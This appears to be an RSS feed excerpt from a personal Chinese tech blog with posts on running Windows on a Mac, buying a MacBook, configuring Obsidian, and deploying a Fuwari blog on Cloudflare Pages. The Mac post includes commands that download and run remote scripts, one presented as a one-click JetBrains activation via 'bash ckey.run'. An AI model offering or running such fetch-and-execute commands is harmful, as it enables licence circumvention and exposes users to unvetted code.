<img src="https://blog.acofork.com/_astro/mac-gal-1.CJgwkFxo.png" alt="" />
|
||
接下来我们去下载 <strong>Windows 11 On Arm</strong> 的ISO镜像: https://www.microsoft.com/zh-cn/software-download/windows11arm64</p>
|
||
<p>你会得到
|
||
<img src="https://blog.acofork.com/_astro/mac-gal-2.Dzm8NGpi.png" alt="" />
|
||
再次打开 <strong>VMware Fusion</strong> ,新建一个虚拟机,并导入ISO文件,按需调整虚拟机配置即可
|
||
<img src="https://blog.acofork.com/_astro/mac-gal-3.cXUn_ZmA.png" alt="" />
|
||
最终,我们启动虚拟机,完成Windows11安装向导,进入Windows桌面。此时你的Windows可能看起来糊糊的,那是因为没有安装 <strong>VM Tools</strong> ,安装一下即可
|
||
<img src="https://blog.acofork.com/_astro/mac-gal-5.Dfa_tQ9_.png" alt="" />
|
||
此时你已经完成90%的步骤了,你已经可以把你的Mac当Windows用啦!但是为了让后续的游戏能顺利运行,我们还是要装一下必要的运行库</p>
|
||
<p>前往 https://zhangyue667.lanzouh.com/DirectXRepairEnhanced 下载并解压运行DX修复工具。运行后,程序会自动安装DX9和VC++运行库,这足以保障大部分游戏顺利运行!</p>
|
||
<p>如果遇到游戏打不开或第一次能打开后续打不开,请按需配置微软仿真</p>
|
||
<p><img src="https://blog.acofork.com/_astro/mac-gal-6.CXGiYca1.png" alt="" /></p>
|
||
<p>现在,享受吧!</p>
|
||
</content:encoded></item><item><title>我为什么要买个Mac</title><link>https://blog.acofork.com/posts/mac/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mac/</guid><description>Mac的好处是:便携、续航长、性能高。缺点是贵、要重新学一个新系统的操作。仅对我个人,我认为我从Win换到Mac是一个正确的决定</description><pubDate>Tue, 30 Sep 2025 09:07:15 GMT</pubDate><content:encoded><h1>我为什么决定买一个Mac</h1>
|
||
<p>首先,就是老生常谈的,新鲜感,但是我也不是没用过Mac,在过年那会买过MacMini,但是当时并不是把他当做一个生产力工具,而是当做一个家庭服务器来使用。用了几天就发现几个问题,一是Mac做服务器不常见,而且很多在Linux上能够点点就部署的东西,比如1Panel面板,在Mac上就需要手动配置;二是我本身的NAS负载服务就不多,基本就一个QQBot,没必要花一个3k多买一个艺术品来当家庭服务器来使用。</p>
|
||
<p>然后就说到为什么这次又买了一个Mac,这其实原因有点离谱。导火索是因为当时有一天跟我的朋友打了一晚上游戏,打了个通宵,又因为朋友比较菜打得比较折磨,而且第二天还有早八的课,一下就干到了早上4点,顺理成章的,第二天一整天都是懵懵的。第二天回家后就想着,<strong>我从来没有觉得玩游戏开心过</strong> 然后一气之下把成年礼的钱拿来买了个Mac...</p>
|
||
<p>根本原因是,我发现居家的这6个月我并不依赖游戏,在居家的那段时间,我用最多的软件应该是 <strong>Trae</strong> ,天天用它造轮子,造小玩具,写Serverless程序,给网站装饰装饰,没事就再做做视频拿点外快。游戏并不是说一次没玩过,也有个别几周天天game。但总体来说打游戏占总空闲时间的占比不高,并且大部分情况都是朋友拉我玩。我也不知道在什么时候形成了一个观念,可能是ChatGPT 3.5出来的那段时间吧,就觉得,我如果把打游戏的时间拿来写写代码折腾折腾网站,这件事既是我喜爱做的,又能提升我的知识水平,以后的学习也就更容易。而打游戏,一不是我自发性的想打,二是仔细想想,打一天游戏能获得什么?段位?有什么用?能换钱吗?甚至打一天段位还会负增长;反过来想,写一天代码或者说折腾一天网站能获得什么?能获得技术经验,能丰富知识储备,然后我还可以把我懂的我理解的知识分享给大家,比如写文章做视频,有时候顺便还能拿点小钱。另外一方面点原因就是 <strong>开学</strong> ,讲点题外话吧,虽然我上的是大专院校,但是离家并不远,仅20km左右,并且入校第一天我就觉得宿舍环境太差,然后导员在当天也公布了可以办走读的消息,我遂在2天后就办了走读。虽说离家并不远,但是一趟去程也要个1小时,回程又要个1小时。虽说时间并不长,但是在大一新生的课程紧密的情况下,情况就有点不乐观了。尽管走读生不需要住宿,也就是不需要将被子啊生活用品啊带到学校来,但是俗话说,现代人类不能离身的有三个东西,移动电话、网络、电。但是我们学的是计算机专业,而我本人也早就涉猎了这个专业,那么 <strong>笔记本电脑</strong> 要在学校-家来回跑是必不可少的。有人就说,你们学校没有机房吗?当然有,性能还不差,自备电脑对于其他同学的应用场景可能是上了一天课了,回寝室跟舍友开黑打游戏;而对我的使用场景就截然不同了,根据上文提到的,我对打游戏并不是刚需,电脑对于我来说更像是一个项目操控工具,我用电脑就是跟他们打交道:比如VSC(Trae)写代码、Github提交代码、黑曜石(Obsidian)写文章、OBS录视频、剪映剪视频,浏览器发视频或者干点别的。这些事情本来在放假那段时间是全天都可以干的,比如早上8点醒了,点个外卖,然后开电脑看看QQ聊聊天,中午吃个饭开始看看昨天写的代码,修修补补到晚上,再吃个饭然后睡觉,整体的时间是非常灵活的。但是,开学后,由于每天的课是在不同的时间上,有可能上个早八,让你休息3小时再上下午的课,那么这个三小时干什么呢?有人会说,午休啊,睡个觉不爽吗,而我的评价是,<strong>太诡异了</strong> 都走读生了,晚上最早4点到家最晚11点到家,那么软那么大的床,倒头就睡睡足8小时然后再上下一个早八,你还能困吗?而且因为我是走读,我是没有床铺的,如果想要睡觉,要不趴桌子上(腰疼腿麻),要不躺地上(挡人走路而且硌得慌)。但是话又说回来了,Win本动辄2-3kg的重量加上游戏本特有的风扇吵机体烫,我是不想带这个活爹两头跑的,它就好好的在家伪装台式机就好了。综上,在那段时间我的在校中午时间,不是找点小游戏,就是刷视频,有一种感觉能干点什么事但是又因为没有工具所以无能为力。根据种种原因,再加上那天那几个b真的是太菜了,我在拿生命提你的分,你在拿我的生命给我看你的唐人操作。所以,我入手了这台Mac,并且 <strong>将旧Win本</strong> 扔转转上了(别问我为什么扔转转,一是因为广告铺天盖地的已经刻进DNA了,二是曾经用过爱回收和闲鱼等平台,这次想换个平台了)。关于为什么要把旧Win本卖了,这个原因其实非常简单,因为如果这个Win本还在,一是双机到底要如何协作?二是Mac的刚需没这么强。简单来说就是旧的不去,新的不来</p>
|
||
<h1>Mac相比与Win的区别?</h1>
|
||
<p>轻。我这台MacBook Air M4仅1.24kg,相比于之前的Win本(机械革命 极光 X)标称了2.2kg(我觉得没这么轻),Mac单手即可提起来,放在包里面甚至感觉没有书重
|
||
小。这个主要是因为我买的是Air,它是13寸的,虽然比我之前的Win本小(大部分情况我也不会用Win本的内嵌显示屏,都是接显示器用的)。但是得益于Apple的高色准2K屏,显示效果仍然很细腻</p>
|
||
<p>续航长。这个真的没得黑,得益于Apple现在将Mac的CPU全部替换为了Arm架构的自研芯片M系列,续航真的很长,一般一台Win本拔电几小时电量可能就掉完了,但是Mac早上充满电,带去出勤上班上学不插电真的是妥妥用一天(当然,你不能用一些高功耗软件),我这台Mac标称的续航是18h,我觉得已经完全够用了</p>
|
||
<h1>Mac的特色?</h1>
|
||
<p>系统。我觉得Mac的系统,也就是macOS在Linux和Windows之间。它既不是Linux(如:Debian)那样的毛坯房,也不是Windows的那种啥都能干。在Mac上,如果你打开终端,你会发现很多操作特别像Linux和Windows,比如Mac有AppStore,对标Windows的Microsoft Store,但是Mac还有brew,就像Debian Linux的apt包管理器(同时也像Windows的第三方包管理器Scoop。当然,Scoop还是效仿apt等Linux包管理器,而不是对标Mac)比如你想安装 <strong>NodeJS</strong> ,只需要先把 <code>brew</code> 装上,然后终端运行 <code>brew install nodejs</code> 即可
|
||
<img src="https://blog.acofork.com/_astro/mac-2.BQutltIk.png" alt="" />
|
||
权限管理。在Mac上,软件安装后很类似安卓的“沙盒”机制,所有越权访问都需要用户的授权,你可能会说,这在现代操作系统上不是基本功吗。但是,如果你用过Windows的QQ你就会知道,一旦QQ安装完毕,当你把QQ最小化到托盘后,如果有新通知,那么QQ立马会调用Windows的通知API向你发送一条通知。但是在Mac上不是这样,在QQ安装完毕后,系统会提示该软件需要使用通知权限,点进这个系统通知后,你会被导航到设置-通知,此时,你能看到QQ的通知权限是关的,你必须手动将其打开,该软件才能在后续给你推送通知,否则,这将是有关于QQ的最后一次通知
|
||
<img src="https://blog.acofork.com/_astro/mac-1.DjzbRAVu.png" alt="" />
|
||
生态。有人说,Mac有什么生态,封闭的要死,是死是活都要看Apple脸色。确实,App Store的审核及其严格,我目前安装的大部分软件都并未上架到AppStore,但是,这并不代表Mac上软件生态烂。在Mac上,安装软件有三种方式,1.AppStore 2.浏览器下载 <code>.dmg</code> 文件,双机后拖放到应用程序文件夹 3.浏览器下载 <code>.pkg</code> 文件,双击后会弹出安装向导,一路下一步即可完成安装。绝大多数软件都是使用后两种方式安装的,其实主要还是AppStore上的软件要交苹果开发者税,而第三方侧载就不用考虑这么多了。当然,毕竟换了一个系统,对于小开发者做的开源软件,可能并没有给Mac打包一个预构建的文件,这就需要你拉源码来自己编译运行了,比如 <code>https://github.com/WEIFENG2333/VideoCaptioner</code> ,这有时候也是好事,能帮助你了解软件开发、构建与发布
|
||
<img src="https://blog.acofork.com/_astro/mac-3.BpoLAXcc.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/mac-4.CHLVmkPF.png" alt="" /></p>
|
||
<h1>Mac的快速上手</h1>
|
||
<p>安装Brew(类似Debian Linux的apt高级软件包管理器)。安装完毕后即可用 <code>brew install python</code> 来安装各个软件包了</p>
|
||
<pre><code>/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"
|
||
</code></pre>
|
||
<p>Mac默认的Python3.9,太老了,使用brew可以安装最新版的Python,但是并不会替换环境变量,需要使用Brew的链接命令替换默认环境变量。之后重启终端即可
|
||
<em>在正规开发环境应当使用Anaconda或者Poetry等版本控制/虚拟环境软件来管理,盲目升级Python版本可能会造成一些系统问题</em></p>
|
||
<pre><code>brew link python@3.13 --force
|
||
</code></pre>
|
||
<p>JB系列软件一件激活</p>
|
||
<pre><code>curl -L -o ckey.run ckey.run &amp;&amp; bash ckey.run
|
||
</code></pre>
|
||
<h1>未完待续...</h1>
|
||
<p>我写不动了,</p>
|
||
<p><em>2025/09/30 11:28</em> 第一次修订</p>
|
||
<p><em>2025/09/30 11:44</em> 第2次修订。黑曜石的单次换行Fuwari不认,需要手动多加一次换行,不然全拼一行去了.</p>
|
||
</content:encoded></item><item><title>现代!易上手!高效!且社区支持的超高校级的MarkDown编辑器!</title><link>https://blog.acofork.com/posts/obsidian/</link><guid isPermaLink="true">https://blog.acofork.com/posts/obsidian/</guid><description>曾经我使用MarkText编写文章,今天收到朋友推荐,来尝试一下黑曜石(Obsidian),发现真的很好用,且社区完善!</description><pubDate>Wed, 17 Sep 2025 02:20:34 GMT</pubDate><content:encoded><blockquote>
|
||
<p>视频链接: https://www.bilibili.com/video/BV1C7pDzpEHY</p>
|
||
</blockquote>
|
||
<h1>下载</h1>
|
||
<p>前往 <a href="https://obsidian.md/download">Download - Obsidian</a> 下载对应你系统版本的软件。安装界面就可以选择语言为 <strong>简体中文</strong></p>
|
||
<h1>初次上手</h1>
|
||
<p>Obsidian(下文简称“黑曜石”)将每一个存放了多个MarkDown文件的文件夹都叫做 <strong>仓库</strong></p>
|
||
<p>首先,点击左下角的 <strong>Obsidian Vault</strong>
|
||
<img src="https://blog.acofork.com/_astro/obsidian-1.CW2bRxeN.png" alt="" />
|
||
然后点击 <strong>管理仓库</strong> ,然后根据你所需要的情况进行选择
|
||
<img src="https://blog.acofork.com/_astro/obsidian-2.CwJ6PPDv.png" alt="" />
|
||
黑曜石会在每个仓库下创建 <code>.obsidian</code> ,存放了工作区的配置信息
|
||
<strong>注意:</strong> 黑曜石的配置都是针对于单个仓库的,若该配置文件丢失你需要重新配置黑曜石。所以,请确保写文章时不要频繁更改仓库</p>
|
||
<h1>针对于Fuwari的图片配置</h1>
|
||
<p>首先我们要知道几个坑点</p>
|
||
<ol>
|
||
<li>黑曜石对图片默认是 <strong>内部链接</strong> ,该链接的路径配置在私有配置文件实现,仅在黑曜石内可见</li>
|
||
<li>黑曜石对图片默认是 <strong>带空格的链接</strong> ,部分框架不支持转义空格导致找不到图片
|
||
首先,确保你将 <code>src/content</code> 作为仓库根目录,因为 <code>src/content/posts</code> 存放博客文章,而 <code>src/content/spec</code> 存放关于等特殊MarkDown页面,他们都可能需要依赖图片,所以建议将仓库设置在他们的上一级文件夹。我们的图片将存放在 <code>src/content/assets/images</code> 在 <code>posts</code> 或 <code>spec</code> 的相对路径引用格式则为 <code>../assets/images/xxx.png</code> (不用担心,黑曜石会自动管理,你无需手打)
|
||
点击 <strong>设置</strong>
|
||
<img src="https://blog.acofork.com/_astro/obsidian-3.DCb_q6zx.png" alt="" />
|
||
如图配置,这样我们就解决了第一个问题
|
||
<img src="https://blog.acofork.com/_astro/obsidian-4.Bs0ADcyO.png" alt="" />
|
||
关于第二个问题,黑曜石本身并不支持通过变量来控制图片名,我们需要借助第三方插件来实现
|
||
首先,我们需要关闭 <strong>安全模式</strong>
|
||
依次 <code>设置 - 第三方插件 - 安全模式(关闭)</code>
|
||
然后依次 <code>设置 - 第三方插件 - 社区插件市场(浏览)</code>
|
||
安装 <code>Pasts image raname</code> 并 <strong>启用</strong>
|
||
再次前往 <strong>设置</strong> ,在最底下就会有一个专门配置第三方插件的配置项目
|
||
第一个 <code>Image name pattern</code> 不用动,如果你要更改,请确保你知道自己在做什么,该配置描述已经非常详细了
|
||
第二个 <code>Auto rename</code> ,将它打开,如果你不想每粘贴一个图片就弹出一个对话框让你输入图片名称的话
|
||
<img src="https://blog.acofork.com/_astro/obsidian-5.CnN5vbcR.png" alt="" />
|
||
接下来,尝试使用任一截图工具,如 <strong>QQ截图</strong> ,截图后使用 <strong>Ctrl+V</strong> 粘贴进文章,你应当能看到类似这样的图片链接了</li>
|
||
</ol>
|
||
<pre><code>
|
||
</code></pre>
|
||
<h1>黑曜石如何强大?</h1>
|
||
<p><code>published</code> 字段可以通过点点点实现
|
||
<img src="https://blog.acofork.com/_astro/obsidian-6.BbFYUoVI.png" alt="" />
|
||
通用字段可以直接填充曾经写过的
|
||
<img src="https://blog.acofork.com/_astro/obsidian-7.DD98tgiP.png" alt="" />
|
||
<code>tags</code> 字段只需要你专注于标签,无需再手动管理格式
|
||
<img src="https://blog.acofork.com/_astro/obsidian-8.CzT7WRMT.png" alt="" />
|
||
布尔字段通过勾选来处理 <code>true</code> 和 <code>false</code>
|
||
<img src="https://blog.acofork.com/_astro/obsidian-9.DK0zSjHJ.png" alt="" /></p>
|
||
</content:encoded></item><item><title>Fuwari静态博客搭建教程</title><link>https://blog.acofork.com/posts/fuwari/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fuwari/</guid><description>Fuwari是一个静态博客框架,Cloudflare Pages是一个托管静态网站的服务,将他俩结合即可得到一个快速安全无需托管的高效博客</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded><h3>你需要准备的东西</h3>
|
||
<ol>
|
||
<li>
|
||
<p>一个牛逼的脑子,支持并行运算至少两个单位以上的事件。遇到问题先思考,想不通就搜索,搜索不到就去和AI调情,不要上来就问问问</p>
|
||
</li>
|
||
<li>
|
||
<p><a href="https://git-scm.com/downloads">Git - Downloads (git-scm.com)</a>:最牛逼的版本控制器,这里用于对Github进行操作,当然,你也可以尝试使用<a href="https://github.com/apps/desktop">GitHub Desktop | Simple collaboration from your desktop</a> <s>但就我而言,这玩意更难用</s> 在现在SSH克隆默认被阻断的情况下,它变得好用起来了</p>
|
||
</li>
|
||
<li>
|
||
<p><a href="https://nodejs.org/en">Node.js — Run JavaScript Everywhere (nodejs.org)</a>:Fuwari基于Node.js,你需要安装这个来搭建博客</p>
|
||
</li>
|
||
<li>
|
||
<p>一个<a href="https://github.com">Github</a>账号:用于创建一个代码仓库存放Fuwari文件</p>
|
||
</li>
|
||
<li>
|
||
<p>一个<a href="https://cloudflare.com">Cloudflare</a>账号:用于创建一个Pages并且绑定域名支持访问</p>
|
||
</li>
|
||
<li>
|
||
<p><a href="/posts/obsidian/">黑曜石(Obsidian)</a>:这是一个可视化MarkDown编辑器,因为Fuwari的每一篇文章/页面都是MarkDown,所以需要一个好用的编辑器</p>
|
||
</li>
|
||
<li>
|
||
<p>你得会用MarkDown语法来编写文章,如果你不会可以参见:<a href="https://markdown.com.cn/basic-syntax/">Markdown 基本语法 | Markdown 官方教程</a></p>
|
||
</li>
|
||
</ol>
|
||
<h3>流程图</h3>
|
||
<p>本地部署Fuwari,编写文章 -&gt; 推送更改到远程Github仓库 -&gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -&gt; 网站成功更改</p>
|
||
<h3>让我们开搞吧!</h3>
|
||
<h4>首先,我们来本地部署Fuwari</h4>
|
||
<ol>
|
||
<li>
|
||
<p>Fork仓库:</p>
|
||
<p><a href="https://github.com/saicaca/fuwari">https://github.com/saicaca/fuwari</a></p>
|
||
</li>
|
||
<li>
|
||
<p>避免有小废物不会Fork仓库,这里附上图片教程</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-14-12-15-44-image.BcknW07q.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-14-12-17-03-image.D-_8XHcU.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>然后将仓库克隆到本地:<code>git clone &lt;你的仓库URL&gt;</code>(推荐使用SSH,可以不用魔法来推送更改)</p>
|
||
</li>
|
||
<li>
|
||
<p>首先,全局安装pnpm:<code>npm install -g pnpm</code>(如果npm国内拉取过慢,请尝试cnpm:<a href="https://npmmirror.com/">npmmirror 镜像站</a>)</p>
|
||
</li>
|
||
<li>
|
||
<p>然后在项目根目录安装依赖:<code>pnpm install</code> 和 <code>pnpm add sharp</code></p>
|
||
</li>
|
||
<li>
|
||
<p>至此,你成功在本地部署了Fuwari</p>
|
||
</li>
|
||
</ol>
|
||
<blockquote>
|
||
<p>[!TIP]</p>
|
||
<p>你也可以使用创建一个新的空仓库然后手动上传文件,并且可以将仓库可见性设为:Private</p>
|
||
</blockquote>
|
||
<h4>改写Fuwari的基本信息并且清理多余文件</h4>
|
||
<blockquote>
|
||
<p>刚创建的Fuwari可能带有一些示例的博主名,ICON,URL,介绍和示例文章,为了让用户知道这是你的博客,我们需要一一改写</p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p>在根目录下的 <code>src</code> 文件夹中,你可以找到 <code>config.ts</code> 我们来开始改写</p>
|
||
<ul>
|
||
<li>
|
||
<p>title:你的博客主标题</p>
|
||
</li>
|
||
<li>
|
||
<p>subtitle:你的博客副标题。可选,在首页会显示为“主标题 - 副标题”</p>
|
||
</li>
|
||
<li>
|
||
<p>lang:博客显示语言。注释已经列出了一些常用的值,如:en, zh_CN, zh_TW, ja, ko</p>
|
||
</li>
|
||
<li>
|
||
<p>themeColor:hue值则是你的博客主题色,可以在你的博客右上角的画板图标确定喜欢的颜色再填写<img src="https://blog.acofork.com/_astro/2024-10-15-09-16-30-image.89mGCGyh.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>banner:src:即banner图片,支持http/https URL</p>
|
||
</li>
|
||
<li>
|
||
<p>favicon:src:即网站图标,支持http/https URL</p>
|
||
</li>
|
||
<li>
|
||
<p>links:即友情链接,这些链接在导航栏上</p>
|
||
</li>
|
||
<li>
|
||
<p>avatar:即你的头像</p>
|
||
</li>
|
||
<li>
|
||
<p>name:即你的名字</p>
|
||
</li>
|
||
<li>
|
||
<p>bio:即个性签名,会显示在头像和名字下面</p>
|
||
</li>
|
||
<li>
|
||
<p><code>NavBarConfig</code> 为导航栏设置的超链接。<code>ProfileConfig</code> 为你的用户的超链接,分别如图<img src="https://blog.acofork.com/_astro/2024-10-15-17-49-30-image.Bgbcm3ir.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>icon:你需要前往<a href="https://icones.js.org/">icones.js</a>去搜索你想要的图标,比如QQ,则填写 <code>fa6-brands:qq</code> ,如图。Fuwari默认支持这几种类型:<code>fa6-brands</code>, <code>fa6-regular</code>, <code>fa6-solid</code>, <code>material-symbols</code>。可以在 <code>astro.config.mjs</code> 中搜索关键字进行配置</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/1ef05530-10fd-4301-af4e-21ddadf18605.Cgm9cqNT.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/da94494b-cc4b-4f07-ae95-8bf3b2f95d3c.CxiXlhqP.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>这里我附上我的 <code>config.ts</code></p>
|
||
</li>
|
||
<li>
|
||
<pre><code>import type {
|
||
LicenseConfig,
|
||
NavBarConfig,
|
||
ProfileConfig,
|
||
SiteConfig,
|
||
} from './types/config'
|
||
import { LinkPreset } from './types/config'
|
||
|
||
export const siteConfig: SiteConfig = {
|
||
title: 'AcoFork Blog',
|
||
subtitle: '爱你所爱!',
|
||
lang: 'zh_CN', // 'en', 'zh_CN', 'zh_TW', 'ja', 'ko'
|
||
themeColor: {
|
||
hue: 355, // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345
|
||
fixed: false, // Hide the theme color picker for visitors
|
||
},
|
||
banner: {
|
||
enable: true,
|
||
src: 'https://eo-r2.2x.nz/myblog/img/222.webp', // Relative to the /src directory. Relative to the /public directory if it starts with '/'
|
||
position: 'center', // Equivalent to object-position, only supports 'top', 'center', 'bottom'. 'center' by default
|
||
credit: {
|
||
enable: false, // Display the credit text of the banner image
|
||
text: '', // Credit text to be displayed
|
||
url: '' // (Optional) URL link to the original artwork or artist's page
|
||
}
|
||
},
|
||
favicon: [ // Leave this array empty to use the default favicon
|
||
{
|
||
src: 'https://q2.qlogo.cn/headimg_dl?dst_uin=2973517380&amp;spec=5', // Path of the favicon, relative to the /public directory
|
||
//theme: 'light', // (Optional) Either 'light' or 'dark', set only if you have different favicons for light and dark mode
|
||
sizes: '128x128', // (Optional) Size of the favicon, set only if you have favicons of different sizes
|
||
}
|
||
]
|
||
}
|
||
|
||
export const navBarConfig: NavBarConfig = {
|
||
links: [
|
||
LinkPreset.Home,
|
||
LinkPreset.Archive,
|
||
LinkPreset.About,
|
||
{
|
||
name: '随机图',
|
||
url: 'https://pic.onani.cn', // Internal links should not include the base path, as it is automatically added
|
||
external: true, // Show an external link icon and will open in a new tab
|
||
},
|
||
{
|
||
name: 'GitHub',
|
||
url: 'https://github.com/saicaca/fuwari', // Internal links should not include the base path, as it is automatically added
|
||
external: true, // Show an external link icon and will open in a new tab
|
||
},
|
||
],
|
||
}
|
||
|
||
export const profileConfig: ProfileConfig = {
|
||
avatar: 'https://eo-r2.2x.nz/myblog/img/111.webp', // Relative to the /src directory. Relative to the /public directory if it starts with '/'
|
||
name: '二叉树树',
|
||
bio: 'Protect What You Love./爱你所爱!',
|
||
links: [
|
||
// {
|
||
// name: 'Twitter',
|
||
// icon: 'fa6-brands:twitter', // Visit https://icones.js.org/ for icon codes
|
||
// You will need to install the corresponding icon set if it's not already included
|
||
// `pnpm add @iconify-json/&lt;icon-set-name&gt;`
|
||
// url: 'https://twitter.com',
|
||
// },
|
||
// {
|
||
// name: 'Steam',
|
||
// icon: 'fa6-brands:steam',
|
||
// url: 'https://store.steampowered.com',
|
||
// },
|
||
{
|
||
name: 'GitHub',
|
||
icon: 'fa6-brands:github',
|
||
url: 'https://github.com/afoim',
|
||
},
|
||
{
|
||
name: 'QQ',
|
||
icon: 'fa6-brands:qq',
|
||
url: 'https://qm.qq.com/q/Uy9kmDXHYO',
|
||
},
|
||
{
|
||
name: 'Email',
|
||
icon: 'fa6-solid:envelope',
|
||
url: 'mailto:email@example.com',
|
||
},
|
||
],
|
||
}
|
||
|
||
export const licenseConfig: LicenseConfig = {
|
||
enable: true,
|
||
name: 'CC BY-NC-SA 4.0',
|
||
url: 'https://creativecommons.org/licenses/by-nc-sa/4.0/',
|
||
}
|
||
</code></pre>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>清理多余文件。在根目录下的 <code>src/content/posts</code> 文件夹中会有一些示例文章,这些文章介绍了一些MarkDown语法和技巧,可以让你更快上手Fuwari和fuwari,我们可以将其保存到别处</p>
|
||
</li>
|
||
<li>
|
||
<p>至此,你已经可以开始撰写文章了</p>
|
||
</li>
|
||
</ol>
|
||
<h4>让我们开始写作!</h4>
|
||
<blockquote>
|
||
<p>推荐使用 <a href="/posts/obsidian/">黑曜石(Obsidian)</a></p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p>首先,在项目根目录执行:<code>pnpm new-post &lt;这里填写你的文章标题&gt;</code></p>
|
||
</li>
|
||
<li>
|
||
<p>然后,在根目录下的 <code>src/content/posts</code> 文件夹中会多出一个 <code>xxx.md</code>文件</p>
|
||
</li>
|
||
<li>
|
||
<p>我们使用MarkText打开这个文件,你可以看到一些基本信息,我们只需要关注几个重要的信息</p>
|
||
</li>
|
||
<li>
|
||
<pre><code>title: xxx
|
||
published: 2024-10-14
|
||
description: ''
|
||
image: ''
|
||
tags: []
|
||
categories: ''
|
||
draft: false
|
||
lang: ''
|
||
</code></pre>
|
||
<ul>
|
||
<li>
|
||
<p>title:文章标题</p>
|
||
</li>
|
||
<li>
|
||
<p>published:文章创建时间</p>
|
||
</li>
|
||
<li>
|
||
<p>description:文章描述,正常会显示在文章标题下面</p>
|
||
</li>
|
||
<li>
|
||
<p>image:文章封面图(同目录需要写 <code>./</code> 如:<code>./https://eo-r2.2x.nz/myblog/img/2024-10-14-11-33-28-image.webp</code>)</p>
|
||
</li>
|
||
<li>
|
||
<p>tag:文章标签</p>
|
||
</li>
|
||
<li>
|
||
<p>categories:文章分类</p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>我们还需要更改根目录下的 <code>astro.config.mjs</code> 。在第34行更改 <code>stie:</code> 为你的站点URL,如: <code>site: "https://onani.cn",</code></p>
|
||
</li>
|
||
<li>
|
||
<p>欸?有的人就会问了,MarkDown固然好,但是我要如何处理图片的置入呢</p>
|
||
</li>
|
||
<li>
|
||
<p>这也很简单,多亏了MarkText这款软件,我们也可以像编辑Typecho一样直接使用Ctrl+CV来在MarkDown语法中置入图片,但是我们需要一些小设置:</p>
|
||
<ul>
|
||
<li>
|
||
<p>依次点击:MarkText软件的左上角的三条杠 -&gt; File -&gt; Perferences -&gt; 左侧的Image分类 -&gt; 如图设置 -&gt; 注意更改第一个选项为Copy开头的选项,将Perfer开关打开,然后上下两个文本框一个填写绝对路径一个填写相对路径</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-14-12-54-21-image.Sa2QwMQz.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>这样,当置入图片时,会往 <code>https://eo-r2.2x.nz/myblog/img</code> 文件夹复制一份,然后通过<code></code>写入MarkDown文件。这样网站就能成功读取到图片啦。而你只需要Ctrl+CV,其他操作MarkText都会自动处理</p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>至此,你已经会用MarkText编写MarkDown语法的博文了</p>
|
||
</li>
|
||
</ol>
|
||
<h4>本地预览,然后发布到Github</h4>
|
||
<ol>
|
||
<li>
|
||
<p>当你认为你的文章已经写得差不多时,想要看看效果?请到项目根目录执行:<code>pnpm dev</code>,稍等片刻,你就可以本地预览你的博客啦<img src="https://blog.acofork.com/_astro/2024-10-14-13-03-44-image.Dmm_7v6l.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>好!接下来我们需要使用Git将我们所做的更改发布到Github</p>
|
||
<ul>
|
||
<li>
|
||
<p>首先,你需要让Git知道你是谁:<code>git config --global user.name "你的Github用户名"</code>和<code>git config --global user.email "你的Github邮箱@example.com"</code></p>
|
||
</li>
|
||
<li>
|
||
<p>然后,更改远程仓库为ssh*(如果是通过ssh克隆的不用改):<code>git remote set-url origin git@github.com:xxx/xxx</code></p>
|
||
</li>
|
||
<li>
|
||
<p>随后,让我们提交所有文件:<code>git add .</code></p>
|
||
</li>
|
||
<li>
|
||
<p>之后,让我们发布一个本地提交:<code>git commit -m "项目初始化"</code></p>
|
||
</li>
|
||
<li>
|
||
<p>最后,让我们将本地更改提交到远程仓库:<code>git push</code></p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>此时,你的Github仓库应该已经有了新的提交<img src="https://blog.acofork.com/_astro/2024-10-14-13-10-12-image.CwaWyveL.webp" alt="" /></p>
|
||
</li>
|
||
</ol>
|
||
<h4>让Cloudflare连接上Github,使用Pages服务展示你的博客(FREE!)</h4>
|
||
<ol>
|
||
<li>
|
||
<p>前往Cloudflare的 Workers 和 Pages 页面,创建一个新Pages<img src="https://blog.acofork.com/_astro/2024-10-14-13-14-28-image.DKCFDsDf.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>然后选择连接Git存储库,连接你的Github,随后设置构建命令:<code>pnpm build</code> ,然后设置构建输出目录:<code>dist</code> ,如图<img src="https://blog.acofork.com/_astro/2024-10-14-13-16-15-image.B6ySHmV4.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>绑定自定义域,访问自定义域即可访问你的博客!<img src="https://blog.acofork.com/_astro/2024-10-14-13-17-00-image.CoRcszKj.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>随后,你只需要在本地编写文章,然后<a href="#%E6%9C%AC%E5%9C%B0%E9%A2%84%E8%A7%88%E7%84%B6%E5%90%8E%E5%8F%91%E5%B8%83%E5%88%B0github">使用Git将更改推送到远程仓库</a>,Cloudflare就会自动部署,更新你的博客!</p>
|
||
</li>
|
||
</ol>
|
||
